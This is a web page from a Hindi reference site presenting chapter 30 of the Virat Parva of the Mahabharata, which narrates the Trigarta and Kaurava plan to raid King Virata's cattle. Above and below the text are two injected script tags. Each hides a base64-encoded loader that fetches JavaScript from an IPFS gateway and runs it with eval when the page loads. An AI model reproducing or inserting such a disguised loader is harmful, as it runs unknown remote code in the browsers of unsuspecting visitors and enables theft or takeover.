महाभारत विराट पर्व अध्याय 30 श्लोक 19-27
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
त्रिंश (30) अध्याय: विराट पर्व (गोहरण पर्व)
वैशम्पायनजी कहते हैं- जनमेजय ! राजा दुर्योधन ने सूर्यपुत्र कर्ण की बात मानकर अपनी आज्ञा का पालन करने के लिये सदा संनद्ध रहने वाले छोटे भाई दुःशासन को सवयं ही तुरंत आदेश दे दिया- ‘वृद्धजनों की सम्मति लेकर शीघ्र अपनी सेना को प्रस्थान के लिये तैयार करो। ‘जिधर से आक्रमण का निश्चय हो, उसी ओर हम कौरव सैनिकों के साथ चलें। महारथी सुशर्मा भी त्रिगर्तों के साथ निश्चित दिशा की ओर जायँ और अपने समसत बल (सेना) एवं वाहनों को साथ ले लें। ‘सब साधनों से सम्पन्न हो सुशर्मा पहले मत्स्यदेश पर आक्रमण करें। फिर पीछे से एक दिन हम लोग भी पूर्णतः संगठित हो मत्स्यनरेश के समृद्धशाली राज्य पर धावा बोल देंगे। ‘त्रिगर्त सैनिक एक साथ मिलकर तुरंत विराटनगर पर चढ़ाई करें और पहले ग्वालों के पास पहुँकर वहाँ के बढ़े हुए गोधन पर अधिकार कर लें। ‘फिर हम लोग अपनी सेना को दो टुकड़ों में बाँटकर उनकी लाखों सुन्दर तथा गुणवती गौओं का अपहरण करेंगे’।
वैशम्पायनजी कहते हैं- महाराज ! तदनन्तर पूर्व वैर का बदला लेने की इच्छा वाले त्रिगर्तदेशीय रथी और पैदल सैनिक कवच आदि धारण करके तैयार हो गये। वे सभी महान् बलवान् और प्रचण्ड पराक्रमी थे। सुशर्मा ने विराट की गौओं का अपहरण करने के लिये पूर्वनिश्चित योजना के अनुसार कृष्णपक्ष की सप्तमी को अग्निकोध की ओर से विराटनगर पर चढ़ाई की । राजन् ! फिर दूसरे दिन अष्टमी को दूसरी ओर से सब कौरवों ने मिलकर धावा किया और गौओं के सहस्त्रों झुंडों पर अधिकार जमा लिया।
इस प्रकार श्रीमहाभारत विराटपर्व के अन्तर्गत गोहरणपर्व में दक्षिण दिशा की गौओं को ग्रहण करने के लिये सुशर्मा आदि की मत्स्यदेश पर चढ़ाई से सम्बन्ध रखने वाला तीसवाँ अध्याय पूरा हुआ।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>